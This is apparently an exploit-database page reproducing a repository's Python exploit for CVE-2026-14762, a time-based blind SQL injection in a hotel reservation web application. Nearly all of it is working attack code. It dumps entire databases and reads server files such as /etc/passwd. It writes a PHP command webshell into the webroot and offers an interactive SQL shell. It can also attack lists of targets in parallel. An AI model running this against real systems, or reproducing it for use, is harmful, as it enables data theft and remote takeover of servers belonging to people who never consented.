Exploit databaseDownload repository ZIP
GH-bc32949af98bda7dd4b9f39654ca48d8
tc4dy/cve-2026-14762-poc-exploit
Sources for CVE-2026-14762
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files7
tc4dy/cve-2026-14762-poc-exploitRevision 243bb111d469
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Python · 19,655 bytesimport argparse
import base64
import json
import logging
import random
import re
import sys
import time
import urllib.parse
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Optional, Tuple, List
import requests
import urllib3
try:
from colorama import Fore, Style, init
init(autoreset=True)
COLOR_ENABLED = True
except ImportError:
COLOR_ENABLED = False
class Fore:
RED = GREEN = YELLOW = CYAN = MAGENTA = RESET = ''
class Style:
BRIGHT = DIM = NORMAL = RESET_ALL = ''
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BANNER = f"""
{Fore.CYAN}{Style.BRIGHT}
══════════════════════════════════════════════════════════════════════════════════
CVE-2026-14762 - Code-Projects Hotel & Tourism Reservation 1.0 SQLi
Time-Based Blind SQL Injection (CVSS 7.3)
══════════════════════════════════════════════════════════════════════════════════
{Style.RESET_ALL}
"""
class CVE202614762Exploit:
def __init__(self, target: str, output_file: str = None, verbose: bool = False,
proxy: str = None, user_agent: str = None, sleep_time: float = 5.0,
max_retries: int = 3, ssl_verify: bool = False, threads: int = 5,
webroot: str = None):
self.target = target.rstrip('/')
self.output_file = output_file
self.verbose = verbose
self.proxy = proxy
self.user_agent = user_agent or "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
self.sleep_time = sleep_time
self.max_retries = max_retries
self.ssl_verify = ssl_verify
self.threads = threads
self.webroot = webroot or "/var/www/html"
self.session = requests.Session()
self.session.verify = ssl_verify
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.vuln_path = "/admin/rooms.php"
self._setup_logging()
self.scheme: str = ""
self.host: str = ""
self.port: int = 80
self.db_name: Optional[str] = None
self.tables: List[str] = []
self.is_vulnerable: bool = False
def _setup_logging(self):
level = logging.DEBUG if self.verbose else logging.INFO
logging.basicConfig(
format=f"{Fore.GREEN}[%(asctime)s]{Style.RESET_ALL} %(message)s",
datefmt="%H:%M:%S",
level=level
)
self.logger = logging.getLogger("CVE-2026-14762")
def _print_status(self, msg: str, level: str = "info", color: str = None):
if color and COLOR_ENABLED:
msg = f"{color}{msg}{Style.RESET_ALL}"
if level == "info":
if self.verbose or not ("Stage" in msg or "Propagating" in msg):
self.logger.info(msg)
elif level == "success":
self.logger.info(f"{Fore.GREEN}✓ {msg}{Style.RESET_ALL}")
elif level == "error":
self.logger.error(f"{Fore.RED}✗ {msg}{Style.RESET_ALL}")
elif level == "warning":
self.logger.warning(f"{Fore.YELLOW}⚠ {msg}{Style.RESET_ALL}")
def _parse_target(self) -> bool:
try:
parsed = urllib.parse.urlsplit(self.target)
self.scheme = parsed.scheme or "http"
self.host = parsed.hostname
self.port = parsed.port or (443 if self.scheme == "https" else 80)
if not self.host:
raise ValueError("Invalid target URL")
return True
except Exception as e:
self._print_status(f"Failed to parse target: {e}", "error")
return False
def _http_request(self, method: str, path: str, params: dict = None, headers: dict = None,
data: dict = None, timeout: int = None) -> Optional[requests.Response]:
if not timeout:
timeout = self.sleep_time + 10
url = f"{self.scheme}://{self.host}:{self.port}{path}"
default_headers = {
"User-Agent": self.user_agent,
"Connection": "close"
}
if headers:
default_headers.update(headers)
try:
for attempt in range(self.max_retries):
resp = self.session.request(
method, url, params=params, data=data,
headers=default_headers, timeout=timeout,
allow_redirects=False
)
if resp.status_code in [200, 404, 500]:
return resp
time.sleep(0.5 * (attempt + 1))
return None
except requests.exceptions.Timeout:
return None
except requests.exceptions.ConnectionError:
return None
except requests.exceptions.SSLError:
return None
except Exception:
return None
def _check_condition(self, sql_condition: str) -> bool:
payload = f"150' AND IF({sql_condition}, SLEEP({self.sleep_time}), 0) AND '1'='1"
start = time.time()
resp = self._http_request("GET", self.vuln_path, params={"delete": payload}, timeout=self.sleep_time + 5)
elapsed = time.time() - start
if resp is None:
if elapsed >= self.sleep_time * 0.8:
return True
return False
return elapsed >= self.sleep_time * 0.8
def detect_vulnerability(self) -> bool:
self._print_status("Testing vulnerability with time-based payload...", "info")
if self._check_condition("1=1"):
if not self._check_condition("1=2"):
self.is_vulnerable = True
self._print_status("Target is VULNERABLE to time-based blind SQL injection.", "success")
return True
self._print_status("Target does not appear vulnerable.", "error")
return False
def _extract_string(self, subquery: str, max_len: int = 128) -> str:
result = ""
for pos in range(1, max_len + 1):
found_char = False
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
condition = f"ASCII(SUBSTRING(({subquery}), {pos}, 1)) > {mid}"
if self._check_condition(condition):
low = mid + 1
else:
condition_eq = f"ASCII(SUBSTRING(({subquery}), {pos}, 1)) = {mid}"
if self._check_condition(condition_eq):
if mid == 0:
return result
result += chr(mid)
found_char = True
break
high = mid - 1
if not found_char:
condition_null = f"ASCII(SUBSTRING(({subquery}), {pos}, 1)) = 0"
if self._check_condition(condition_null):
break
break
if self.verbose:
self._print_status(f"Extracted char at pos {pos}: {result[-1]}", "info")
return result
def get_database_name(self) -> str:
self._print_status("Extracting current database name...", "info")
self.db_name = self._extract_string("DATABASE()")
self._print_status(f"Database: {self.db_name}", "success")
return self.db_name
def get_tables(self) -> List[str]:
self._print_status("Extracting table names...", "info")
tables = []
if not self.db_name:
self.get_database_name()
for i in range(1, 50):
table = self._extract_string(
f"SELECT table_name FROM information_schema.tables WHERE table_schema='{self.db_name}' LIMIT {i-1},1"
)
if not table:
break
tables.append(table)
self._print_status(f"Found table: {table}", "success")
self.tables = tables
return tables
def get_columns(self, table: str) -> List[str]:
self._print_status(f"Extracting columns for table {table}...", "info")
columns = []
if not self.db_name:
self.get_database_name()
for i in range(1, 50):
col = self._extract_string(
f"SELECT column_name FROM information_schema.columns WHERE table_schema='{self.db_name}' AND table_name='{table}' LIMIT {i-1},1"
)
if not col:
break
columns.append(col)
self._print_status(f"Found column: {col}", "success")
return columns
def dump_table(self, table: str, columns: List[str] = None, limit: int = 50) -> List[dict]:
self._print_status(f"Dumping data from {table}...", "info")
if not columns:
columns = self.get_columns(table)
if not columns:
self._print_status("No columns found to dump.", "error")
return []
col_str = ", ".join(columns)
data_rows = []
for row_idx in range(limit):
row_data = {}
for col in columns:
subquery = f"SELECT {col} FROM {table} LIMIT {row_idx},1"
value = self._extract_string(subquery, max_len=256)
if not value and row_idx == 0:
break
row_data[col] = value
if not row_data:
break
data_rows.append(row_data)
self._print_status(f"Row {row_idx+1}: {row_data}", "info")
return data_rows
def read_file(self, filepath: str) -> str:
self._print_status(f"Attempting to read file: {filepath}", "info")
subquery = f"LOAD_FILE('{filepath}')"
content = self._extract_string(subquery, max_len=4096)
if content:
self._print_status(f"File content: {content[:200]}...", "success")
else:
self._print_status("File empty or not accessible (check secure_file_priv).", "warning")
return content
def write_webshell(self, shell_content: str = None, filename: str = "shell.php") -> bool:
self._print_status(f"Attempting to write webshell to {self.webroot}/{filename}", "info")
if not shell_content:
shell_content = "<?php system($_GET['cmd']); ?>"
hex_content = "0x" + shell_content.encode('utf-8').hex()
subquery = f"SELECT '{shell_content}' INTO OUTFILE '{self.webroot}/{filename}'"
payload = f"150' AND IF(1=1, (SELECT {subquery}), 0) AND '1'='1"
start = time.time()
resp = self._http_request("GET", self.vuln_path, params={"delete": payload}, timeout=self.sleep_time + 5)
if resp is None:
elapsed = time.time() - start
if elapsed >= self.sleep_time * 0.8:
self._print_status(f"Webshell written to {self.webroot}/{filename} (check connection).", "success")
return True
self._print_status("Failed to write webshell (secure_file_priv may be enabled or path wrong).", "error")
return False
def sql_shell(self):
self._print_status("Entering interactive SQL shell (time-based). Type 'exit' to quit.", "info")
self._print_status("Example: SELECT user,password FROM admin LIMIT 1", "info")
while True:
try:
cmd = input(f"{Fore.RED}sql{Fore.RESET}@{Fore.CYAN}{self.host}{Fore.RESET} $ ").strip()
if not cmd:
continue
if cmd.lower() == "exit":
break
result = self._extract_string(cmd, max_len=512)
self._print_status(f"Result: {result}", "info")
except KeyboardInterrupt:
print()
continue
except EOFError:
break
def run(self, dump_db: bool = False, tables: bool = False, dump_table: str = None,
read_file: str = None, write_shell: bool = False, sql_cmd: str = None,
interactive: bool = False) -> Tuple[bool, str]:
if not self._parse_target():
return False, "Parse error"
if not self.detect_vulnerability():
return False, "Not vulnerable"
self.get_database_name()
if dump_db or dump_table or tables:
self.get_tables()
if dump_db:
all_data = {}
for tbl in self.tables:
cols = self.get_columns(tbl)
data = self.dump_table(tbl, cols)
all_data[tbl] = data
if self.output_file:
with open(self.output_file, "w") as f:
json.dump(all_data, f, indent=2)
self._print_status(f"Full database dump saved to {self.output_file}", "success")
if tables:
self._print_status(f"Tables: {', '.join(self.tables)}", "success")
if dump_table:
cols = self.get_columns(dump_table)
data = self.dump_table(dump_table, cols)
if self.output_file:
with open(self.output_file, "w") as f:
json.dump(data, f, indent=2)
self._print_status(f"Table {dump_table} saved to {self.output_file}", "success")
if read_file:
content = self.read_file(read_file)
if self.output_file and content:
with open(self.output_file, "w") as f:
f.write(content)
self._print_status(f"File saved to {self.output_file}", "success")
if write_shell:
self.write_webshell()
if sql_cmd:
result = self._extract_string(sql_cmd, max_len=512)
self._print_status(f"SQL Result: {result}", "info")
if interactive:
self.sql_shell()
return True, "Exploit completed successfully"
def run_single_target(args):
exploit = CVE202614762Exploit(
target=args.target,
output_file=args.output,
verbose=args.verbose,
proxy=args.proxy,
user_agent=args.user_agent,
sleep_time=args.delay,
max_retries=args.max_retries,
ssl_verify=args.ssl_verify,
threads=args.threads,
webroot=args.webroot
)
success, msg = exploit.run(
dump_db=args.dump_db,
tables=args.tables,
dump_table=args.dump_table,
read_file=args.read,
write_shell=args.write_shell,
sql_cmd=args.sql,
interactive=args.interactive
)
if not success:
print(f"{Fore.RED}Error: {msg}{Style.RESET_ALL}")
return success
def run_multi_targets(args):
try:
with open(args.target_file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except Exception as e:
print(f"{Fore.RED}Failed to read target file: {e}{Style.RESET_ALL}")
return False
results = {"success": 0, "failed": 0, "total": len(targets)}
with ThreadPoolExecutor(max_workers=args.threads) as executor:
future_to_target = {}
for target in targets:
exploit = CVE202614762Exploit(
target=target,
output_file=args.output,
verbose=args.verbose,
proxy=args.proxy,
user_agent=args.user_agent,
sleep_time=args.delay,
max_retries=args.max_retries,
ssl_verify=args.ssl_verify,
threads=args.threads,
webroot=args.webroot
)
future = executor.submit(exploit.run, dump_db=args.dump_db, tables=args.tables,
dump_table=args.dump_table, read_file=args.read,
write_shell=args.write_shell, sql_cmd=args.sql,
interactive=False)
future_to_target[future] = target
for future in as_completed(future_to_target):
target = future_to_target[future]
try:
success, msg = future.result()
if success:
results["success"] += 1
print(f"{Fore.GREEN}[+] {target} -> {msg}{Style.RESET_ALL}")
else:
results["failed"] += 1
print(f"{Fore.RED}[-] {target} -> {msg}{Style.RESET_ALL}")
except Exception as e:
results["failed"] += 1
print(f"{Fore.RED}[!] {target} -> Exception: {e}{Style.RESET_ALL}")
print(f"\n{Fore.CYAN}Summary: {results['total']} targets, {results['success']} vulnerable, {results['failed']} failed{Style.RESET_ALL}")
return results["success"] > 0
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-14762 - Code-Projects Hotel & Tourism Reservation SQLi Exploit",
epilog="Example: python exploit.py -t http://192.168.1.100 -o dump.json --dump-db -v -i"
)
parser.add_argument("-t", "--target", help="Single target URL (e.g., http://example.com)")
parser.add_argument("-l", "--target-file", help="File containing list of targets (one per line)")
parser.add_argument("--threads", type=int, default=5, help="Number of threads for multi-target (default: 5)")
parser.add_argument("-o", "--output", help="Save output to file (JSON for dumps, text for files)")
parser.add_argument("-v", "--verbose", action="store_true", help="Enable debug output")
parser.add_argument("--proxy", help="HTTP/HTTPS proxy (e.g., http://127.0.0.1:8080)")
parser.add_argument("-ua", "--user-agent", help="Custom User-Agent string")
parser.add_argument("--delay", type=float, default=5.0, help="Sleep time in seconds for blind injection (default: 5)")
parser.add_argument("--max-retries", type=int, default=3, help="Maximum retries per request (default: 3)")
parser.add_argument("--ssl-verify", action="store_true", help="Verify SSL certificates (default: ignore)")
parser.add_argument("--webroot", help="Webroot path for writing webshell (default: /var/www/html)")
parser.add_argument("--dump-db", action="store_true", help="Dump entire database (all tables)")
parser.add_argument("--tables", action="store_true", help="List all tables in the current database")
parser.add_argument("--dump-table", help="Dump a specific table (e.g., users)")
parser.add_argument("--read", help="Read a file via LOAD_FILE (e.g., /etc/passwd)")
parser.add_argument("--write-shell", action="store_true", help="Attempt to write a PHP webshell to webroot")
parser.add_argument("--sql", help="Execute a single SQL query (time-based extraction, result limited to 512 chars)")
parser.add_argument("-i", "--interactive", action="store_true", help="Interactive SQL shell after exploitation")
args = parser.parse_args()
if not args.target and not args.target_file:
parser.error("Either --target or --target-file must be specified")
if args.target and args.target_file:
parser.error("Cannot use both --target and --target-file simultaneously")
print(BANNER)
if args.target:
success = run_single_target(args)
sys.exit(0 if success else 1)
else:
success = run_multi_targets(args)
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()